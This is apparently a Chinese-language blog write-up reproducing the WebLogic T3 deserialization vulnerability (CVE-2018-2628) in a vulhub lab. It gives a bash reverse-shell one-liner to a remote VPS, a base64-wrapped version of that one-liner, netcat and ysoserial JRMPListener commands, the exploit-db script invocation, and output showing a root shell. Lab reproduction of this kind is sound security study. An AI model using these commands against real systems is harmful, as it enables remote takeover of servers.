好久沒發新文章了,躲懶了,是時候該更新一篇了,這一篇是關於WebLogic T3協議反序列化命令執行漏洞(CVE-2018- 2628)的復現,該漏洞是weblogic的經典漏洞,而網上有關的復現稍顯麻煩且方式有些老舊,特此更新一篇。
Weblogic T3協議反序列化命令執行漏洞介紹:
Weblogic Server中的RMI 通信使用T3協議在Weblogic Server和其它Java程序(客戶端或者其它Weblogic Server實例)之間傳輸數據, 服務器實例會跟蹤連接到應用程序的每個Java虛擬機(JVM)中,並創建T3協議通信連接, 將流量傳輸到Java虛擬機. T3協議在開放WebLogic控制台端口的應用上默認開啟. 攻擊者可以通過T3協議發送惡意的的反序列化數據, 進行反序列化, 實現對存在漏洞的weblogic組件的遠程代碼執行攻擊。
影響范圍:
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
靶機介紹:
此次復現使用vulhub中的/vulhub-master/weblogic/CVE-2018-2628中靶場,具體靶場搭建這里就不多贅述了,參考vulhub官網即可。
開啟靶場:docker-compose up -d
vf@vf-virtual-machine:~/vulhub-master/weblogic/CVE-2018-2628$ sudo docker-compose up -d Creating network "cve20182628_default" with the default driver Pulling weblogic (vulhub/weblogic:10.3.6.0-2017)... 10.3.6.0-2017: Pulling from vulhub/weblogic 6599cadaf950: Pull complete 23eda618d451: Pull complete f0be3084efe9: Pull complete 52de432f084b: Pull complete a3ed95caeb02: Pull complete a2318f26c625: Pull complete 1aa642dd8cc1: Pull complete b307208f8bf5: Pull complete 1dfbbdcc497d: Pull complete a53e674a7606: Pull complete 5f06bb51fa3c: Pull complete ff0ff72567f2: Pull complete 684862046025: Pull complete abbf8d475455: Pull complete 848eb11ef744: Pull complete 2f3438f2b83b: Pull complete 8e5871e15571: Pull complete Digest: sha256:275ec19477cfda389dc1c42158033e7e8c650dd4cba9f090ca0ba673902b73c9 Status: Downloaded newer image for vulhub/weblogic:10.3.6.0-2017 Creating cve20182628_weblogic_1 ... Creating cve20182628_weblogic_1 ... done
訪問ip:7001/console出現如下頁面表示靶場搭建成功。這里的ip為192.168.28.136(靶機ip)
漏洞檢測:
使用相應的poc腳本進行檢測即可
poc地址:https://github.com/Aedoo/CVE-2018-2628-MultiThreading
可見檢出漏洞:
漏洞利用:
注意,該命令執行漏洞沒有回顯,因此只能對目標機執行代碼而無法返回執行結果,所以,這里我們直接進行反彈shell:
反彈shell payload准備:
bash -i >& /dev/tcp/遠端vps-ip/8888 0>&1
由於Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,所以我們使用base64的反彈shell形式,具體如下:
bash -c {echo,上面反彈shell的base64編碼}|{base64,-d}|{bash,-i}
遠端vps監聽端口:
root@VM-0-17-ubuntu:/home/ubuntu# nc -lnvp 8888 Listening on 0.0.0.0 8888
下載反序列化漏洞利用工具jar文件:ysoserial.jar
地址:https://github.com/frohoff/ysoserial。按照說明生成jar文件即可。
遠端vps開啟JRMP Server端口監聽,端口隨意,這里設置為38080
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 38080 CommonsCollections1 'bash -c {echo,反彈shell的base64編碼}|{base64,-d}|{bash,-i}'
* Opening JRMP listener on 38080
出現Opening JRMP listener on 38080即表明jrmp server監聽成功。
到這里,反彈shell的環境就准備完畢,下面下載exp:
exp地址:https://www.exploit-db.com/exploits/44553
copy代碼,保存為exploit.py
攻擊機payload准備:
python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
這里的victim ip/port 為靶機的ip和端口,path to ysoserial為ysoserial.jar文件的路徑,因為這個exp會調用這個jar,JRMPListener ip/port為jrmp server服務器的ip和監聽的端口,這里端口為38080。JRMPClient有兩個選項,為:JRMPClient或JRMPClient2,這里使用JRMPClient。
最終payload:
python2 exploit.py 192.168.28.136 7001 /home/kali/Desktop/weblogic/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 遠端vps-ip 38080 JRMPClient
執行exp:
┌──(kali㉿kali)-[~/Desktop/weblogic] └─$ python2 exploit.py 192.168.28.136 7001 /home/kali/Desktop/weblogic/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar xxx.xxx.xxx.xxx 38080 JRMPClient handshake successful send request payload successful,recv length:1690 command: java -jar /home/kali/Desktop/weblogic/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient xxx.xxx.xxx.xxx:38080 > payload.out Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true payload: ... response: ... ... exploit completed!
回顯exploit completed表明執行完畢,回看vps監聽端口可見:
root@VM-0-17-ubuntu:/home/ubuntu# nc -lnvp 8888 Listening on 0.0.0.0 8888 Connection received on xxx.xxx.xxx.xxx 50634 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@06ff6f667a1a:~/Oracle/Middleware/user_projects/domains/base_domain# whoami <Middleware/user_projects/domains/base_domain# whoami root
反彈shell成功。
復現完畢。